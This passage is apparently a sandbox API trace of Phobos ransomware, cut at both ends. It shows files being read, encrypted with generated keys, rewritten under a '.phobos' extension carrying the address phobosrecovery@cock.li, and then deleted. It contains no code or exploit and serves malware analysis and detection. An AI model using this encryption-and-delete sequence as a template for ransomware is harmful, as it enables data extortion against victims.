lpOverlapped=0x0) returned 1 [0063.813] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d0f0) returned 1 [0063.813] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0063.813] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0063.813] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0063.813] WriteFile (in: hFile=0x340, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0063.813] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0063.813] CloseHandle (hObject=0x2e4) returned 1 [0063.813] CloseHandle (hObject=0x340) returned 1 [0063.816] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1 [0063.818] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0063.818] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.818] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0063.818] CloseHandle (hObject=0x340) returned 1 [0063.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0063.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0063.819] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.819] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0063.819] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0063.819] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0063.819] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cf70) returned 1 [0063.820] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0063.820] ReadFile (in: hFile=0x340, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0064.370] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0064.370] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0064.765] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ce70) returned 1 [0064.765] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0064.765] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xd0, dwBufLen=0xd0 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xd0) returned 1 [0064.765] CryptDestroyKey (hKey=0x10ce70) returned 1 [0064.765] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x182, lpOverlapped=0x0) returned 1 [0064.766] CryptDestroyKey (hKey=0x10cf70) returned 1 [0064.766] CloseHandle (hObject=0x340) returned 1 [0064.766] CloseHandle (hObject=0x2e4) returned 1 [0064.768] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1 [0064.826] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0064.826] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0064.832] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0064.832] CloseHandle (hObject=0x308) returned 1 [0064.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0064.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0064.837] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0064.837] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0064.837] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0064.837] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0064.841] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cdf0) returned 1 [0064.841] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0064.841] ReadFile (hFile=0x308, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0) Thread: id = 33 os_tid = 0xdd8 [0046.728] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x2d0058 [0046.729] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x2e0060 [0046.729] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x28) returned 0x84f98 [0046.729] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x110102) returned 0x30ae020 [0046.732] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x50) returned 0x84fc8 [0046.732] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f748, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f7b0 | out: phKey=0x2d1f7b0*=0xf9540) returned 1 [0046.732] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0x2d1f798, dwFlags=0x0) returned 1 [0046.732] CryptDecrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84fc8, pdwDataLen=0x2d1f764 | out: pbData=0x84fc8, pdwDataLen=0x2d1f764) returned 1 [0046.732] CryptDestroyKey (hKey=0xf9540) returned 1 [0046.732] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.732] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0046.732] Wow64DisableWow64FsRedirection (in: OldValue=0x2d1f7fc | out: OldValue=0x2d1f7fc*=0x0) returned 1 [0046.732] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84fc8 | out: hHeap=0x80000) returned 1 [0046.732] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0046.732] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0046.734] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=42674) returned 1 [0046.734] CloseHandle (hObject=0x2e4) returned 1 [0046.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0046.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.735] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0046.735] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0046.735] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0046.735] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0046.735] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0xf9400) returned 1 [0046.735] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0046.735] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xa6b2, lpOverlapped=0x0) returned 1 [0046.748] CryptEncrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa6c0, dwBufLen=0xa6c0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa6c0) returned 1 [0046.749] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xa6c0, lpOverlapped=0x0) returned 1 [0046.751] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0xf9540) returned 1 [0046.751] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0046.751] CryptEncrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x70, dwBufLen=0x70 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x70) returned 1 [0046.751] CryptDestroyKey (hKey=0xf9540) returned 1 [0046.751] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x122, lpOverlapped=0x0) returned 1 [0046.751] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.751] CloseHandle (hObject=0x2e4) returned 1 [0046.751] CloseHandle (hObject=0x304) returned 1 [0046.752] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0046.754] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0046.754] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0046.758] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=6004) returned 1 [0046.758] CloseHandle (hObject=0x304) returned 1 [0046.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0046.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.758] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0046.758] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0046.758] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0046.758] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0046.758] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0xf9400) returned 1 [0046.758] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0046.758] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1774, lpOverlapped=0x0) returned 1 [0046.760] CryptEncrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1780, dwBufLen=0x1780 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1780) returned 1 [0046.760] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1780, lpOverlapped=0x0) returned 1 [0046.761] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0xf9540) returned 1 [0046.761] CryptSetKeyParam (hKey=0xf9540, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0046.761] CryptEncrypt (in: hKey=0xf9540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x70, dwBufLen=0x70 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x70) returned 1 [0046.761] CryptDestroyKey (hKey=0xf9540) returned 1 [0046.761] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x122, lpOverlapped=0x0) returned 1 [0046.761] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.761] CloseHandle (hObject=0x304) returned 1 [0046.761] CloseHandle (hObject=0x2e4) returned 1 [0046.762] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0046.763] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0046.763] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0046.763] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=40) returned 1 [0046.763] CloseHandle (hObject=0x2e4) returned 1 [0046.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0046.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.763] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0046.763] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0046.764] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0046.764] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0046.764] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0xf9400) returned 1 [0046.764] CryptSetKeyParam (hKey=0xf9400, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0046.764] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x28, lpOverlapped=0x0) returned 1 [0046.916] CryptEncrypt (in: hKey=0xf9400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x30, dwBufLen=0x30 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x30) returned 1 [0046.916] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x30, lpOverlapped=0x0) returned 1 [0046.917] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cff0) returned 1 [0046.917] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0046.917] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x60, dwBufLen=0x60 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x60) returned 1 [0046.917] CryptDestroyKey (hKey=0x10cff0) returned 1 [0046.917] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x112, lpOverlapped=0x0) returned 1 [0046.917] CryptDestroyKey (hKey=0xf9400) returned 1 [0046.917] CloseHandle (hObject=0x2e4) returned 1 [0046.917] CloseHandle (hObject=0x304) returned 1 [0046.918] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0046.919] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0046.958] ResetEvent (hEvent=0x2ec) returned 1 [0046.958] SetEvent (hEvent=0x2f0) returned 1 [0046.958] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0046.958] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0046.958] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=6309) returned 1 [0046.958] CloseHandle (hObject=0x31c) returned 1 [0046.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0046.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.959] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0046.959] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0046.959] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0046.959] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, 